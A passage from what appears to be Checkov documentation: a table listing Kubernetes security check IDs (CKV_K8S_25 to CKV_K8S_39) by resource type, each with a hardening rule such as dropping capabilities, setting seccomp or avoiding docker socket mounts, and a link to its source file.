[AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 164 | CKV_K8S_25  | resource | DeploymentConfig       | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 165 | CKV_K8S_25  | resource | Job                    | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 166 | CKV_K8S_25  | resource | Pod                    | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 167 | CKV_K8S_25  | resource | PodTemplate            | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 168 | CKV_K8S_25  | resource | ReplicaSet             | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 169 | CKV_K8S_25  | resource | ReplicationController  | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 170 | CKV_K8S_25  | resource | StatefulSet            | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 171 | CKV_K8S_26  | resource | CronJob                | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 172 | CKV_K8S_26  | resource | DaemonSet              | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 173 | CKV_K8S_26  | resource | Deployment             | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 174 | CKV_K8S_26  | resource | DeploymentConfig       | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 175 | CKV_K8S_26  | resource | Job                    | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 176 | CKV_K8S_26  | resource | Pod                    | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 177 | CKV_K8S_26  | resource | PodTemplate            | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 178 | CKV_K8S_26  | resource | ReplicaSet             | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 179 | CKV_K8S_26  | resource | ReplicationController  | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 180 | CKV_K8S_26  | resource | StatefulSet            | Do not specify hostPort unless absolutely necessary                                                                                                                                            | Kubernetes | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/HostPort.py)                                                                                   |\n| 181 | CKV_K8S_27  | resource | CronJob                | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 182 | CKV_K8S_27  | resource | DaemonSet              | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 183 | CKV_K8S_27  | resource | Deployment             | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 184 | CKV_K8S_27  | resource | Job                    | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 185 | CKV_K8S_27  | resource | Pod                    | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 186 | CKV_K8S_27  | resource | ReplicaSet             | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 187 | CKV_K8S_27  | resource | ReplicationController  | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 188 | CKV_K8S_27  | resource | StatefulSet            | Do not expose the docker daemon socket to containers                                                                                                                                           | Kubernetes | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py)                                                               |\n| 189 | CKV_K8S_28  | resource | CronJob                | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 190 | CKV_K8S_28  | resource | DaemonSet              | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 191 | CKV_K8S_28  | resource | Deployment             | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 192 | CKV_K8S_28  | resource | DeploymentConfig       | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 193 | CKV_K8S_28  | resource | Job                    | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 194 | CKV_K8S_28  | resource | Pod                    | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 195 | CKV_K8S_28  | resource | PodTemplate            | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 196 | CKV_K8S_28  | resource | ReplicaSet             | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 197 | CKV_K8S_28  | resource | ReplicationController  | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 198 | CKV_K8S_28  | resource | StatefulSet            | Minimize the admission of containers with the NET_RAW capability                                                                                                                               | Kubernetes | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilities.py)                                                                   |\n| 199 | CKV_K8S_29  | resource | CronJob                | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 200 | CKV_K8S_29  | resource | DaemonSet              | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 201 | CKV_K8S_29  | resource | Deployment             | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 202 | CKV_K8S_29  | resource | Job                    | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 203 | CKV_K8S_29  | resource | Pod                    | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 204 | CKV_K8S_29  | resource | ReplicaSet             | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 205 | CKV_K8S_29  | resource | ReplicationController  | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 206 | CKV_K8S_29  | resource | StatefulSet            | Apply security context to your pods and containers                                                                                                                                             | Kubernetes | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py)                                                               |\n| 207 | CKV_K8S_30  | resource | CronJob                | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 208 | CKV_K8S_30  | resource | DaemonSet              | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 209 | CKV_K8S_30  | resource | Deployment             | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 210 | CKV_K8S_30  | resource | DeploymentConfig       | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 211 | CKV_K8S_30  | resource | Job                    | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 212 | CKV_K8S_30  | resource | Pod                    | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 213 | CKV_K8S_30  | resource | PodTemplate            | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 214 | CKV_K8S_30  | resource | ReplicaSet             | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 215 | CKV_K8S_30  | resource | ReplicationController  | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 216 | CKV_K8S_30  | resource | StatefulSet            | Apply security context to your containers                                                                                                                                                      | Kubernetes | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py)                                                   |\n| 217 | CKV_K8S_31  | resource | CronJob                | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 218 | CKV_K8S_31  | resource | DaemonSet              | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 219 | CKV_K8S_31  | resource | Deployment             | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 220 | CKV_K8S_31  | resource | Job                    | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 221 | CKV_K8S_31  | resource | Pod                    | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 222 | CKV_K8S_31  | resource | ReplicaSet             | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 223 | CKV_K8S_31  | resource | ReplicationController  | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 224 | CKV_K8S_31  | resource | StatefulSet            | Ensure that the seccomp profile is set to docker/default or runtime/default                                                                                                                    | Kubernetes | [Seccomp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Seccomp.py)                                                                                     |\n| 225 | CKV_K8S_32  | resource | PodSecurityPolicy      | Ensure default seccomp profile set to docker/default or runtime/default                                                                                                                        | Kubernetes | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SeccompPSP.py)                                                                               |\n| 226 | CKV_K8S_33  | resource | CronJob                | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 227 | CKV_K8S_33  | resource | DaemonSet              | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 228 | CKV_K8S_33  | resource | Deployment             | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 229 | CKV_K8S_33  | resource | DeploymentConfig       | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 230 | CKV_K8S_33  | resource | Job                    | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 231 | CKV_K8S_33  | resource | Pod                    | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 232 | CKV_K8S_33  | resource | PodTemplate            | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 233 | CKV_K8S_33  | resource | ReplicaSet             | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 234 | CKV_K8S_33  | resource | ReplicationController  | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 235 | CKV_K8S_33  | resource | StatefulSet            | Ensure the Kubernetes dashboard is not deployed                                                                                                                                                | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py)                                                             |\n| 236 | CKV_K8S_34  | resource | CronJob                | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 237 | CKV_K8S_34  | resource | DaemonSet              | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 238 | CKV_K8S_34  | resource | Deployment             | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 239 | CKV_K8S_34  | resource | DeploymentConfig       | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 240 | CKV_K8S_34  | resource | Job                    | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 241 | CKV_K8S_34  | resource | Pod                    | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 242 | CKV_K8S_34  | resource | PodTemplate            | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 243 | CKV_K8S_34  | resource | ReplicaSet             | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 244 | CKV_K8S_34  | resource | ReplicationController  | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 245 | CKV_K8S_34  | resource | StatefulSet            | Ensure that Tiller (Helm v2) is not deployed                                                                                                                                                   | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py)                                                                                       |\n| 246 | CKV_K8S_35  | resource | CronJob                | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 247 | CKV_K8S_35  | resource | DaemonSet              | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 248 | CKV_K8S_35  | resource | Deployment             | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 249 | CKV_K8S_35  | resource | DeploymentConfig       | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 250 | CKV_K8S_35  | resource | Job                    | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 251 | CKV_K8S_35  | resource | Pod                    | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 252 | CKV_K8S_35  | resource | PodTemplate            | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 253 | CKV_K8S_35  | resource | ReplicaSet             | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 254 | CKV_K8S_35  | resource | ReplicationController  | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 255 | CKV_K8S_35  | resource | StatefulSet            | Prefer using secrets as files over secrets as environment variables                                                                                                                            | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py)                                                                                     |\n| 256 | CKV_K8S_36  | resource | PodSecurityPolicy      | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilitiesPSP.py)                                                     |\n| 257 | CKV_K8S_37  | resource | CronJob                | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 258 | CKV_K8S_37  | resource | DaemonSet              | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 259 | CKV_K8S_37  | resource | Deployment             | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 260 | CKV_K8S_37  | resource | DeploymentConfig       | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 261 | CKV_K8S_37  | resource | Job                    | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 262 | CKV_K8S_37  | resource | Pod                    | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 263 | CKV_K8S_37  | resource | PodTemplate            | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 264 | CKV_K8S_37  | resource | ReplicaSet             | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 265 | CKV_K8S_37  | resource | ReplicationController  | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 266 | CKV_K8S_37  | resource | StatefulSet            | Minimize the admission of containers with capabilities assigned                                                                                                                                | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py)                                                           |\n| 267 | CKV_K8S_38  | resource | CronJob                | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 268 | CKV_K8S_38  | resource | DaemonSet              | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 269 | CKV_K8S_38  | resource | Deployment             | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 270 | CKV_K8S_38  | resource | Job                    | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 271 | CKV_K8S_38  | resource | Pod                    | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 272 | CKV_K8S_38  | resource | ReplicaSet             | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 273 | CKV_K8S_38  | resource | ReplicationController  | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 274 | CKV_K8S_38  | resource | StatefulSet            | Ensure that Service Account Tokens are only mounted where necessary                                                                                                                            | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py)                                                           |\n| 275 | CKV_K8S_39  | resource | CronJob                | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | 